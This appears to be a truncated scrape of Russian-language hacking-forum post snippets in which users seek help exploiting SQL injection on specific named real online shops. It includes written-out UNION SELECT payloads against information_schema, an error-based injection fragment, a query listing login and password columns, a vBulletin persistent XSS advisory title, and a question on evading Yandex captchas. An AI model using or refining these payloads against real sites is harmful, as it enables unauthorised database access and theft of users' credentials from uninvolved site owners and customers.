Separate names with a comma.
http://www.webmallindia.com/gifts/productlist.php?catid=-203%20+union+select+1,2,3,4,column_name,6,7,8%20from%20information_schema.columns%20where%...
Спасибо но тогда вопрос почему здесь не катит так же ? http://www.drachenshop.de/product_info.php?products_id=555'
Помогите раскрутить) http://www.grieger-boote.de/product_info.php?products_id=3934'
А пример с использованием можно?)
А как мне узнать в той ли базе таблица?
Делаю такой запрос select column_name from information_schema.columns where table_name='User' мне выдает там 5 значенй логин пароль и тд...
Ступил.. Спасибо!!!
Как переделать этот запрос ' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63),...
Почитал попробовал но чет не раскручивается (
Можно ли что то сделать в таких случаях http://www.omelhordamoda.com.br/modafeminina.asp?CatID=80%27...
vBulletin 4.0.8 - Persistent XSS via Profile vBulletin - Persistent Cross Site Scripting via Profile Versions Affected: 4.0.8 (3.8.* is...
Все уже сам разобрался, в чем дело ) Не подставлял куки в последнем запросе
У меня выскакивает окно с адресом http://yandex.ru/checkcaptcha?key=.... а не http://captcha.yandex.ru
Решил подключить АС , так как надо в софте реализовывать некоторые действия с яндексом, но часто вылетает капча, картинку отловил , а вот когда...
Решил проблему , дело было в редиректе , а снифак его не отлавливал из за UAC